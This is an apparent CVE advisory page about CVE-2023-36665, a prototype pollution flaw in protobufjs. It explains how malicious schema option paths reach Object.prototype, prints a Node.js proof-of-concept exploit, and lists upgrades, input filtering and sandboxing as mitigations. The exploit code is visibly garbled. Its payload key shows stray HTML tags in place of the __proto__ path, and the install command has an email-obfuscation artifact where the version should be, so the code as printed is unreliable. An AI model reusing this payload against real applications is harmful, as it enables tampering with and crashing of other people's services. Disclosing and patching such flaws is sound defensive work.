protobufjs, Prototype Pollution, CVE-2023-36665 (critical)

Listen to this Post

How CVE-2023-36665 Works

  1. The core of the issue lies in how `protobufjs` handles options when parsing a Protocol Buffer schema (.proto file) or a JSON descriptor.
  2. The library’s reflection API, specifically functions like ReflectionObject.setParsedOption, processes option paths provided in the schema to configure the generated JavaScript objects.
  3. A vulnerable version does not properly validate or sanitize these option paths, which can include chains of property names.
  4. An attacker can craft a malicious schema where an option path contains a property like __proto__, constructor, or prototype.
  5. When `protobufjs` processes this malicious option, it attempts to write or assign a value to the property path on the in-memory reflection object.
  6. Due to JavaScript’s prototypal inheritance, assignments to properties like `__proto__` do not create local properties on the target object.
  7. Instead, they traverse the prototype chain and end up modifying the global `Object.prototype` object.
  8. This results in Prototype Pollution, where properties are added or overwritten on the base `Object` used by every object in the application.
  9. The impact is severe and application-wide: any new object created after the pollution will inherit the tainted properties.
  10. If a polluted property, for example polluted, is later used in a sensitive operation (e.g., passed to `eval()` or used to control a file path), the attacker can achieve further effects like Remote Code Execution (RCE) or Denial of Service (DoS).
  11. This vulnerability does not require the attacker to control the message payload; controlling the schema (type definitions) alone is sufficient.
  12. The attack can be performed remotely, is low in complexity, and requires no authentication or user interaction, making it highly dangerous.

DailyCVE Form

Platform: Node.js / npm
Vulnerability: Prototype Pollution
Severity: CRITICAL

Prediction: Already patched (2023-07-05)

What Undercode Say:

Exploit:

An attacker can exploit this by providing a malicious JSON descriptor to an application that parses it using protobuf.Root.fromJSON.

Proof-of-Concept (Node.js)

Install a vulnerable version of protobufjs
npm install [email protected]

Create a file named `exploit.js`:

const protobuf = require('protobufjs');
// A malicious JSON descriptor with a <strong>proto</strong> payload.
const maliciousDescriptor = {
"nested": {
"Malicious": {
"options": {
// This path traverses to Object.prototype and sets a property.
"<strong>proto</strong> / polluted": 'Property set via prototype pollution!'
}
}
}
};
// Object.prototype is initially clean.
console.log('Before attack:', Object.prototype.hasOwnProperty('polluted') ? Object.prototype.polluted : 'not polluted');
// Trigger the vulnerability by loading the malicious descriptor.
const root = protobuf.Root.fromJSON(maliciousDescriptor);
// After parsing, the global Object.prototype is now polluted.
console.log('After attack:', Object.prototype.hasOwnProperty('polluted') ? Object.prototype.polluted : 'not polluted');
// The impact is application-wide.
const cleanObject = {};
console.log('Property on clean object:', cleanObject.polluted);

Run the exploit with:

node exploit.js

The output will demonstrate that `polluted` property is now present on `Object.prototype` and has been inherited by all subsequently created objects.

Protection from this CVE

  1. Upgrade Immediately: Update the `protobufjs` package to a patched version (>=6.11.4 or >=7.2.5).
    npm install protobufjs@latest
    
  2. Trusted Schemas Only: Do not parse or load `.proto` schemas or JSON descriptors from untrusted sources.
  3. Input Validation: If you must accept untrusted schemas, validate them to reject any option names that contain unsafe path components like __proto__, prototype, or `constructor` before loading them.
  4. Isolate Processing: Run the schema processing logic inside an isolated environment, such as a sandboxed Node.js Worker Thread or a separate process, to contain any potential impact.

Impact

  • Remote Code Execution (RCE): Although not a direct code execution flaw, an attacker can pollute the global object prototype. This can lead to RCE if a polluted property is later used by the application in a dangerous sink, such as `eval()` or child_process.exec().
  • Denial of Service (DoS): By overwriting critical built-in methods or properties, the attacker can cause subsequent application code to throw exceptions, leading to a persistent crash or DoS for the lifetime of the process.
  • Authentication Bypass: An attacker could pollute properties used in authorization checks (e.g., req.user.isAdmin), potentially bypassing security mechanisms.
  • Data Tampering: The vulnerability allows an attacker to modify data or application logic across all parts of the affected process.

🎯Let’s Practice Exploiting & Learn Patching For Free:

Sources:

Reported By: github.com
Extra Source Hub:
Undercode

🔐JOIN OUR CYBER WORLD [ CVE News • HackMonitor • UndercodeNews ]

💬 Whatsapp | 💬 Telegram

📢 Follow DailyCVE & Stay Tuned:

𝕏 formerly Twitter 🐦 | @ Threads | 🔗 Linkedin Featured Image

Scroll to Top